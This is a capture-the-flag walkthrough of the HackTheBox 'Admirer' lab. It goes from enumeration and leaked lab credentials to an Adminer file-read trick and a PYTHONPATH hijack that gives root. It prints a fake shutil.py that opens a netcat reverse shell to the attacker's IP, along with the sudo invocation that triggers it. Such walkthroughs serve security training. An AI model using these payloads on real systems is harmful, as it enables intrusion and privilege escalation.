HackTheBox Admirer Writeup – 10.10.10.187
Hello and welcome back to nav1n.com. Another weekend is here and the HackTheBox bought us another new machine to play. This time it’s a Linux box called “Admirer” an easy box with 20 base points.
Here is my writeup of HackTheBox Admirer Linux box – 10.10.10.187. The box makers are PolarBearer & GibParadox.
Difficulty: Easy

Enumeration
As usual I add the machine IP to my etc/hosts as admirer.htb and fire up the NMAP full-scan to kick things off.
$ nmap -sS -sU -T4 -A -v admirer.htb PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer 2/udp open|filtered compressnet 88/udp open|filtered kerberos-sec 158/udp open|filtered pcmail-srv 786/udp open|filtered concert 1050/udp open|filtered cma 1419/udp open|filtered timbuktu-srv3 6002/udp open|filtered X11:2 |_x11-access: ERROR: Script execution failed (use -d to debug) 8193/udp open|filtered sophos 18250/udp open|filtered unknown 21320/udp open|filtered unknown 21923/udp open|filtered unknown 33354/udp open|filtered unknown 34038/udp open|filtered unknown 36458/udp open|filtered unknown 49181/udp open|filtered unknown 49188/udp open|filtered unknown
NMAP scan found us a several TCP and UDP ports are open. I as well noticed hidden directory /admin-dir in the robots.txt. Upon checking the website hosted, it looked like an image gallery website.





Robots.Txt





The Admin directory access is forbidden.





FUZZING
As said in the robotx.txt I wanted to see if the files mentioned in the directory can be access, I used WFUZZ and simple.txt payload to fuzz, within a minute I found the said file names and download them.










http://admirer.htb/admin-dir/contacts.txt
########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb
http://admirer.htb/credentials.txt
[Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01!
Accessing FTP
As we saw the FTP is running from the nmap scan, and now we found the FTP creds, let’s look at the FTP.





We found 2 files dump.sql and html.tar.gz inside the ftp directory, and we immediately download them to our Admirer working directory for further enum.
From the database dump, let us see if we can find something. Let us use DBeaver to open dump.
Database Dump
-- MySQL dump 10.16 Distrib 10.1.41-MariaDB, for debian-linux-gnu (x86_64) -- -- Host: localhost Database: admirerdb -- ------------------------------------------------------ -- Server version 10.1.41-MariaDB-0+deb9u1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `items` -- DROP TABLE IF EXISTS `items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `items` ( `id` int(11) NOT NULL AUTO_INCREMENT, `thumb_path` text NOT NULL, `image_path` text NOT NULL, `title` text NOT NULL, `text` text, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8mb4; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `items` -- LOCK TABLES `items` WRITE; /*!40000 ALTER TABLE `items` DISABLE KEYS */; INSERT INTO `items` VALUES (1,'images/thumbs/thmb_art01.jpg','images/fulls/art01.jpg','Visual Art','A pure showcase of skill and emotion.'),(2,'images/thumbs/thmb_eng02.jpg','images/fulls/eng02.jpg','The Beauty and the Beast','Besides the technology, there is also the eye candy...'),(3,'images/thumbs/thmb_nat01.jpg','images/fulls/nat01.jpg','The uncontrollable lightshow','When the sun decides to play at night.'),(4,'images/thumbs/thmb_arch02.jpg','images/fulls/arch02.jpg','Nearly Monochromatic','One could simply spend hours looking at this indoor square.'),(5,'images/thumbs/thmb_mind01.jpg','images/fulls/mind01.jpg','Way ahead of his time','You probably still use some of his inventions... 500yrs later.'),(6,'images/thumbs/thmb_mus02.jpg','images/fulls/mus02.jpg','The outcomes of complexity','Seriously, listen to Dust in Interstellar\'s OST. Thank me later.'),(7,'images/thumbs/thmb_arch01.jpg','images/fulls/arch01.jpg','Back to basics','And centuries later, we want to go back and live in nature... Sort of.'),(8,'images/thumbs/thmb_mind02.jpg','images/fulls/mind02.jpg','We need him back','He might have been a loner who allegedly slept with a pigeon, but that brain...'),(9,'images/thumbs/thmb_eng01.jpg','images/fulls/eng01.jpg','In the name of Science','Some theories need to be proven.'),(10,'images/thumbs/thmb_mus01.jpg','images/fulls/mus01.jpg','Equal Temperament','Because without him, music would not exist (as we know it today).'); /*!40000 ALTER TABLE `items` ENABLE KEYS */; UNLOCK TABLES; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; -- Dump completed on 2019-12-02 20:24:15
After going through the dump we noticed this db is of the website running. We did not find anything useful, so we proceed to enum another file we downloaded: html.tar.gz.
After going through the extracted files from html.tar.gz, the first thing we noticed is index.php and the database credential of user waldo.





Going further we also noticed another set of php files inside the directory utility-scripts and the in the file db_admin.php has a new credential for the user waldo.





So far we found 2 set of credentials for the user waldo.
- $servername=localhost:$username:waldo:$password:]F7jLHw:*G>UPrTo}~A
- $servername = “localhost”;$username = “waldo”;$password = “Wh3r3_1s_w4ld0?”
There was no way we could use the credentials we have, we tried to use SSH, we tried to use it for FTP and to WordPress etc, so we proceed to Google for help.
A simple Google search of the database name, a PHP database management tool called “Adminer (formerly phpMinAdmin)” was appeared as the first result, since the name of the machine is as well similar to the tool, we decided to look in to it.





The following couple of articles I revered helped me a alot.
- https://www.malcare.com/blog/adminer-php-hack/
- https://medium.com/bugbountywriteup/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f
- https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
- https://blog.sucuri.net/2019/11/vulnerable-versions-of-adminer-as-a-universal-infection-vector.html
What is the Vulnerability
After reading a couple of articles we understood that the tool Adminer is exploitable. The administration file “adminer.php” is exploitable, however in our case the machine maker seems to have renamed the file to admin_tasks.php.
So as per the articles I read the Adminer vulnerability was discovered in version 4.3.1 which had a server-side request forgery vulnerability (SSRF).





I was somehow able to find the installation folder but I wasn’t able to login, I was keep getting “Session Expired” error.





Installing Adminer Tool Locally
Reading further I found that it is possible to connect to remote Adminer database from locally installed instance using the credentials.





Connecting The Database:





Now I open the remote instance of Adminer installed in the Admirer machine and connect to my local machine and database.
Creating MySQL Database and User
Before this I made a simple database “adlocal” and a blank table “test_table”. I made a new user “admirerlocal” and provide the user full privilege to the database “adlocal“.





Permission and Confirmation:





MariaDB [(none)]> show grants for admirerlocal; +-------------------------------------------------------------------------------------------------------------+ | Grants for admirerlocal@% | +-------------------------------------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO 'admirerlocal'@'%' IDENTIFIED BY PASSWORD '*91D7FE1E224DD0012E90AC0DCAFD84AA64952857' | | GRANT ALL PRIVILEGES ON `adlocal`.* TO 'admirerlocal'@'%' | +-------------------------------------------------------------------------------------------------------------+ 2 rows in set (0.000 sec)





Once logged-in I run the following command.
local data local infile 'info.php; into table adlocal.adtable fields terminated by '\n'





Upon checking my table “adlocal” I was able to see the use Waldo’s another password.





SSH and Getting User Waldo
Using the password got from the Adminer exploit, I was able to ssh the box and obtain user.txt from Waldo home directory.





Upon checking sudo -l I noticed the user Waldo has a special permission on /opt/scripts/admin_tasks.sh, SetEnv is to define the value of environment variables. .
Reading the admin_tasks.sh file
waldo@admirer:/$ sudo -l [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh waldo@admirer:/$
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh #!/bin/bash view_uptime() { /usr/bin/uptime -p } view_users() { /usr/bin/w } view_crontab() { /usr/bin/crontab -l } backup_passwd() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/passwd to /var/backups/passwd.bak..." /bin/cp /etc/passwd /var/backups/passwd.bak /bin/chown root:root /var/backups/passwd.bak /bin/chmod 600 /var/backups/passwd.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_shadow() { if [ "$EUID" -eq 0 ] then echo "Backing up /etc/shadow to /var/backups/shadow.bak..." /bin/cp /etc/shadow /var/backups/shadow.bak /bin/chown root:shadow /var/backups/shadow.bak /bin/chmod 600 /var/backups/shadow.bak echo "Done." else echo "Insufficient privileges to perform the selected operation." fi } backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & else echo "Insufficient privileges to perform the selected operation." fi } backup_db() { if [ "$EUID" -eq 0 ] then echo "Running mysqldump in the background, it may take a while..." #/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql & /usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql & else echo "Insufficient privileges to perform the selected operation." fi } # Non-interactive way, to be used by the web interface if [ $# -eq 1 ] then option=$1 case $option in 1) view_uptime ;; 2) view_users ;; 3) view_crontab ;; 4) backup_passwd ;; 5) backup_shadow ;; 6) backup_web ;; 7) backup_db ;; *) echo "Unknown option." >&2 esac exit 0 fi # Interactive way, to be called from the command line options=("View system uptime" "View logged in users" "View crontab" "Backup passwd file" "Backup shadow file" "Backup web data" "Backup DB" "Quit") echo echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;; *) echo "Unknown option." >&2 esac done exit 0
Also going further I found the Python backup script backup.py in the /opt/scripts. The backup script uses Python Shutil module. What I understood from HTB forums is; this is the exploit point.
waldo@admirer:/$ cd opt/scripts waldo@admirer:/opt/scripts$ ls admin_tasks.sh backup.py waldo@admirer:/opt/scripts$ cat backup.py #!/usr/bin/python3 from shutil import make_archive src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src) waldo@admirer:/opt/scripts$
So finally a breakthrough, after going through the backup.py the definition make_archieve(dst, ‘gtzr’, src) where we should concentrate. We could use shutil.py custom script to run a fake backup, and we could execute our reverse shell payload within the script and get reverse shell.
Here is the script we made:
#!/usr/bin/python3 import os; def make_archive(s,d,t): os.system("nc 10.10.14.27 9999 -e /bin/sh")
We made directory called run within the Waldo’s home directory to save the script and saved it as shutil.py





After saving the file as shutil.py, we made file executable.





After we set up our listener listening the port 9999 and execute the admin_tasks.sh and path-hijacking using the PYTHONPATH. We select the option 6 that runs web data backup and simultaneously we got the reverse connection from the server as root.
Reference:





waldo@admirer:~$ sudo PYTHONPATH=/"/home/waldo/run/:$PYTHONPATH" /opt/scripts/admin_tasks.sh [[[ System Administration Menu ]]] 1) View system uptime 2) View logged in users 3) View crontab 4) Backup passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option: 6 Running backup script in the background, it might take a while... waldo@admirer:~$
# root @ ns09 in ~/htb/admirer [10:38:32] $ nc -lvnp 9999 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::9999 Ncat: Listening on 0.0.0.0:9999 Ncat: Connection from 10.10.10.187. Ncat: Connection from 10.10.10.187:35614. whoami root id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt aaa05ac302ad565b54e0bf6d3ae52b74
That’s all and thank you. This box was a good experience and to learn how to exploit backup using Python PATH hijacking using the half cooked codes that’s available for low privilege users.